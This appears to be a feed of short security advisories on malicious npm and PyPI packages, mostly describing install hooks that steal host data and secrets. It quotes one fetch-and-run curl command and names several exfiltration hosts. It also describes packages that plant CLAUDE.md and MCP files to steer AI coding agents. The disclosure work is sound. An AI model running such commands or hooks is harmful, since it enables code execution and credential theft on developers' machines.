MAL-2026-5712 Malicious code in jextic-eclib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 13a6476409b9cb9296b7f778be375081c8ad12b030658351092e9fef90f4b707 On npm install, the package's postinstall hook postinstall.js requires index.js, whose top-level scanAndExfiltrate call walks the installer's working...

Deserialization of Untrusted Data

Overview typo3/cms-install is a TYPO3 extension install. The Install Tool is used for installation, upgrade, system administration and setup tasks. Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the VariableFrontend or Registry. An attacker can execute...

Malicious code in theta-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 09b0737ff5b0b0768e2314b014529b80609632a38dfdc3a9ad6cfd6ab1da9039 package.json declares postinstall: node dist/index.js, and dist/index.js executes Model.resetor at module top level — meaning both npm install...

Malicious code in ttspc-server-sample (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 98ea79d9fce12a87d3949dc748617f8077a1ae0822fadab451c27d2c8a2feb9b [email protected] declares postinstall: node index.js in package.json, so on npm install it automatically executes index.js. The script...

Malicious code in eslint-plugin-mistica-local-rules (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c1d21f50741178986b63d1f330373131c2f3f502a5b94e76ca921ce185fab123 package.json declares a preinstall hook that runs index.js automatically on npm install. index.js collects host identity os.hostname, os.platform,...

MAL-2026-5696 Malicious code in voyager-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a7f4f15201378ec6cee4268469e85e17e50f3f5299d94a250031d6c2693177b8 package.json declares both preinstall and postinstall lifecycle hooks that execute callback.js on npm install. callback.js collects installer-side...

MAL-2026-5697 Malicious code in web-model-bridge (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3d2c385c177531c421e5a49f41d931890a48c16c921b23cc20f2bf4cd8fae893 On npm install, postinstall.js sends an HTTPS POST to https://ddactic-lab.online/sc/beacon carrying the package name/version, Node version, OS,...

CVE-2026-53819

OpenClaw before 2026.5.27 contains an arbitrary code execution vulnerability in skill install flows where workspace .env files can override the Homebrew executable selection. Attackers with access to trusted operator workspaces can execute unintended Homebrew-compatible executables during skill...

MAL-2026-5648 Malicious code in unified-ui-components-library (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 78fe6900f4329c8e4c7bb5322f0e30a3f3b90e289c45852fca61c4fd16f43fd8 On npm install, the package's postinstall.js collects os.hostname and os.userInfo.username and embeds them as query-string parameters in a plaintext...

Malicious code in unified-ui-components-library (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 78fe6900f4329c8e4c7bb5322f0e30a3f3b90e289c45852fca61c4fd16f43fd8 On npm install, the package's postinstall.js collects os.hostname and os.userInfo.username and embeds them as query-string parameters in a plaintext...

Malicious code in optional-cpu-features (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4dbbb7dd9c604ef3e5782d477d4db7c04c50f7906b19af03e63a540e0a44166e On npm install, both the install and postinstall lifecycle scripts run node install.js, which requires lib/sync.js. That file hardcodes BASE =...

MAL-2026-5645 Malicious code in sn-internal-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 215bae963612bf6e45ac8a32644e51b297c72d021048aa58a58fb0a5d0cb396d package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install...

Malicious code in bibip-bip (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c2b153c90d83d4653660dd79a5a0935af85bd804fd98163c42995403bca240a6 pyproject.toml declares a PEP 517 build requirement that points to an arbitrary tarball hosted on webhook.site, an anonymous request-inspection /...

MAL-2026-5649 Malicious code in bibip-bip (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c2b153c90d83d4653660dd79a5a0935af85bd804fd98163c42995403bca240a6 pyproject.toml declares a PEP 517 build requirement that points to an arbitrary tarball hosted on webhook.site, an anonymous request-inspection /...

Malicious code in tailwind-animator-scroll (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f89c3c4c01375bc7baef213c815a901ac3947eaf3835aa80ea67a725ece8d533 The package's main entry src/index.js appends, after a large whitespace gap following the legitimate-looking Tailwind plugin code, an...

MAL-2026-5614 Malicious code in janus-erc20 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 728f3d5af5a999be016a49283fff2c5cedc0c5df445d2f078f1f9817dde22334 On npm install, postinstall.js harvests installer secrets and POSTs them to 193.203.169.109:8443/c/janus-erc20 over HTTPS with TLS verification...

Malicious code in 0x2ai-demo9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bb3fa91a9457ef11dc837c301fef1b22dbe1b19f00400215d853958726e1d055 On npm install, the package's postinstall script writes .mcp.json, CLAUDE.md, and a .claude/commands/0x2ai-boot.md slash-command file into the...

Malicious code in 0x2ai-zoe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 724bd98c39a8e4ff21b039fddeadfda7f0ef7e3c6be47e771d72efed77d02b1b On npm install, scripts/postinstall.cjs copies the entire payload/ tree into process.env.INITCWD the directory the developer ran npm from, depositing...

MAL-2026-5617 Malicious code in sysnu (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eac9873e59ffdf79c56fd4f9366b56e0532f87dc00c4380fae18d714785b0bc8 On require / CLI invocation, sysnu performs two install-time-equivalent actions on Windows hosts. First, if python is not on PATH, index.js lines 42-...

GitHub to Disable npm Install Scripts by Default to Stop Supply Chain Attacks

GitHub has announced what it said are "breaking changes" coming to npm version 12, one of which turns off install scripts by default to combat software supply chain threats. The changes aim to combat attack techniques that abuse the "npm install" command to trigger the execution of malicious code...